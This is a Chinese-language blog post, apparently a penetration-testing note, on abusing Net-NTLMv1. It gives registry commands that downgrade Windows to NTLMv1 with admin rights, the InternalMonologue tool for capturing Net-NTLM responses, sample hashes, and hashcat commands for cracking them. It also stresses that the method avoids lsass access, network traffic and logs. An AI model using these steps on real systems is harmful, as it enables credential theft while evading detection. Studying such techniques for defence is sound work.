zoukankan      html  css  js  c++  java
  • Net-NTLMv1的利用

    更新2020_01_17

    Net-NTLMv1的加密方法:

    1、客户端向服务器发送一个请求
    2、服务器接收到请求后,生成一个8位的Challenge,发送回客户端
    3、客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,作为response发送给服务器
    4、服务器校验response
    

    简单的描述: Net-NTLMv1 就是上面加密方法步骤中的 登陆用户的密码加密成Hash再跟Challenge(挑战码)加密后在内存中保留的值。

    详细的过程可以参考: https://www.cnblogs.com/zpchcbd/p/11738923.html


    Net-NTLMv1的利用思路:

    由于Net-NTLMv1的脆弱性,在控制Challenge后可以在短时间内通过彩虹表还原出用户的ntlm hash,所以在利用上首选的是将Win7环境下的默认Net-NTLMv2降级到Net-NTLMv1,获取本机的通信数据,还原出ntlm hash。

    实现工具: InternalMonologue

    下载地址: https://github.com/eladshamir/Internal-Monologue

    注意点:自Windows Vista/Server2008开始起,微软默认使用Net-NTLMv2协议,想要降级到Net-NTLMv1,首先需要获得当前系统的管理员权限。

    修改注册表需要管理员权限:

    修改注册表开启Net-NTLMv1:
    reg add HKLMSYSTEMCurrentControlSetControlLsa /v lmcompatibilitylevel /t REG_DWORD /d 2 /f

    为确保Net-NTLMv1开启成功,还需要修改两处注册表键值:

    reg add HKLMSYSTEMCurrentControlSetControlLsaMSV1_0 /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
    reg add HKLMSYSTEMCurrentControlSetControlLsaMSV1_0 /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f
    

    Net-NTLMv1的格式为:username::hostname:LM response:NTLM response:challenge

    Administrator::adexx-PC:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad:1122334455667788

    使用hashcat进行字典破解,参数如下:

    hashcat -m 5500 hash.txt password.txt

    优点:

    1、这种方式不会对lsass.exe进程进行操作
    2、同本地NTLM SSP进行交互,不会产生流量
    3、没有进行NTLM认证,不会产生日志

    补充:

    Net-NTLMv2的格式username::domain:challenge:HMAC-MD5:blob

    如果以普通用户权限执行InternalMonologue,同样能够获得当前用户的Net-NTLMv2数据包(注意是的Net-NTLMv2的数据包,不是Net-NTLMv1,因为没有权限去进行降级到Net-NTLMv1),通过hashcat进行破解,也能获得当前用户的明文口令

    如上图,获得Net-NTLMv2的数据包如下:

    yuyonghu01::PENTEST:1122334455667788:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad

    使用hashcat进行字典破解,参数如下:

    hashcat -m 5600 hash.txt password.txt


    总结:

    自Windows Vista起,微软默认使用Net-NTLMv2协议,想要降级到Net-NTLMv1,首先需要获得当前系统的管理员权限

    而对于Net-NTLMv2协议,即使抓到了通信数据包,只能对其进行字典攻击或是暴力破解,破解的概率不是很高

    综上,自Windows Vista起,系统默认使用的Net-NTLMv2协议在安全性上能够保证

    参考文章:https://xz.aliyun.com/t/2205

  • 相关阅读:
    树状数组
    Windows系统重装
    桶排序
    PCL+VS2010环境配置
    刷题
    杭电ACM——自我强化步骤
    杭电ACM题单
    centos7 ifconifg没有ip
    centos7切换图像界面和dos界面
    oracle with as 的用法
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/11742499.html
Copyright © 2011-2022 走看看